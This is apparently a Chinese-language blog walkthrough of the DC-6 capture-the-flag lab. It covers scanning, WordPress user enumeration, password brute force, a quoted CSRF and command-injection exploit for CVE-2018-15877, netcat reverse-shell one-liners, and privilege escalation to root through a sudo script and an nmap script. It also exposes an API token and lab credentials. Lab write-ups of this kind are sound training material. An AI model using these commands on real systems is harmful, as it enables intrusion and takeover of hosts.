DC-6

C0rr3ct發表於2024-03-08

DC-6靶場

主機掃描

nmap -sP 192.168.56.0/24
Nmap scan report for wordy (192.168.56.107)
Host is up (0.00016s latency).
MAC Address: 08:00:27:50:FB:08 (Oracle VirtualBox virtual NIC)

靶機ip:192.168.56.107

埠掃描

nmap -sV 192.168.56.107

開了22,80埠

訪問web頁面,發現跳轉到wordy,那就做個域名解析

vim /etc/hosts

192.168.56.107 wordy

目錄掃描

dirb http://192.168.56.107/

掃到了wp-admin目錄

wpscan工具利用

網站是wordpress,那我們用wpscan掃描就行了

wpscan --url http://wordy
這樣掃給的資訊不夠,需要用到api-token
[!] No WPScan API Token given, as a result vulnerability data has not been output.

登入wpsan官網,獲取一個token

wpscan --url http://wordy --api-token 4GXx8c2FQJQdnJxTY7raHIP1NkqqDZacGoT27nss7sA --enumerate u

列舉一下使用者,得到五個使用者

admin
graham
mark
sarah
jens

其實,我用的是cmseek掃描的,也是掃出來這五個使用者

cmseek -u 192.168.56.107

image-20240308144124363

使用者名稱有了,繼續搞密碼

一開始我是直接用kali裡面的rockyou.txt爆破的,沒爆破出來(密碼太多了)

官網是有一個提示的

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. ;-)

那這個passwords.txt就是密碼了

這裡我直接用wpscan進行爆破了 -U 指定使用者名稱 -P 指定密碼

wpscan --url http://wordy -U users.txt -P passwords.txt

得到賬號密碼,Username: mark, Password: helpdesk01

登入web後臺

登入上去,發現也沒有寫php的地方,那就找一下外掛的漏洞

image-20240308145539641

cp /usr/share/exploitdb/exploits/php/webapps/45274.html ci.html

內容

<!--
PoC:
-->

<html>
  <!--  Wordpress Plainview Activity Monitor RCE
        [+] Version: 20161228 and possibly prior
        [+] Description: Combine OS Commanding and CSRF to get reverse shell
        [+] Author: LydA(c)ric LEFEBVRE
        [+] CVE-ID: CVE-2018-15877
        [+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell
        [+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well
  -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" />
      <input type="hidden" name="lookup" value="Lookup" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

漏洞利用

這是一個csrf漏洞和命令注入,利用|符號

history.pushState( )這是一個非常神奇的javascript方法,讓頁面無重新整理增添瀏覽器歷史記錄。

語法 history.pushState(state, title, url)

找到這個漏洞頁面

image-20240308150126876

這個頁面的功能有兩個,上面按鈕是將ipv4轉換成長整形ip,下面的按鈕是進行解析ip

利用|進行命令執行

image-20240308150530986

那我們接著彈shell吧,

127.0.0.1| nc -e /bin/bash 192.168.56.101 1234

切換到home目錄,

進行mark的家

www-data@dc-6:/home/mark/stuff$ ls
ls
things-to-do.txt
www-data@dc-6:/home/mark/stuff$ cat t*
cat t*
Things to do:

- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement

發現,使用者graham - GSo7isUM1D4

提權

先不急,看看別的目錄

在jens的家目錄,發現一個指令碼

www-data@dc-6:/home/jens$ ls -al
ls -al
total 32
drwxr-xr-x 2 jens jens 4096 Mar  8 16:04 .
drwxr-xr-x 6 root root 4096 Apr 26  2019 ..
-rw------- 1 jens jens    5 Apr 26  2019 .bash_history
-rw-r--r-- 1 jens jens  220 Apr 24  2019 .bash_logout
-rw-r--r-- 1 jens jens 3526 Apr 24  2019 .bashrc
-rw-r--r-- 1 jens jens  675 Apr 24  2019 .profile
-rwxrwxr-x 1 jens devs   48 Mar  8 16:10 backups.sh

jens所有者和devs所屬組有rwx許可權

接著,切換到graham使用者

graham@dc-6:~$ id                                
uid=1001(graham) gid=1001(graham) groups=1001(graham),1005(devs)
graham@dc-6:~$ sudo -l
Matching Defaults entries for graham on dc-6:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User graham may run the following commands on dc-6:
    (jens) NOPASSWD: /home/jens/backups.sh

發現graham使用者就是devs組的,並且可以不要密碼執行/home/jens/backups.sh這個指令碼

嘗試提權到jens使用者

echo '/bin/bash'>>backups.sh

以jens的身份進行執行

sudo -u jens /home/jens/backups.sh

這樣就得到jens的shell

接著

jens@dc-6:~$ id
id
uid=1004(jens) gid=1004(jens) groups=1004(jens),1005(devs)
jens@dc-6:~$ sudo -l
sudo -l
Matching Defaults entries for jens on dc-6:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jens may run the following commands on dc-6:
    (root) NOPASSWD: /usr/bin/nmap

jens使用者可以使用nmap,nmap進行提權

echo 'os.execute("/bin/bash")' > a.nse
sudo nmap --script=a.nse

提權成功,

image-20240308152242079

總結

nmap 提權。使用--script引數執行提權指令碼

學會wpsacn的基本使用方法

os.execute ([command])這是lua中的一個函式,相當於執行系統命令

a & b   //先執行a再執行b,無論a是否執行成功(按位與)
a && b  //先執行a再執行b,只有a執行成功才會執行b(邏輯與)
a || b  //先執行a再執行b,只有a執行失敗才會執行b(邏輯或)
a | b   //將a的執行結果傳遞給b(管道符)

靶機涉及知識點:

暴力破解,csrf,命令執行

相關文章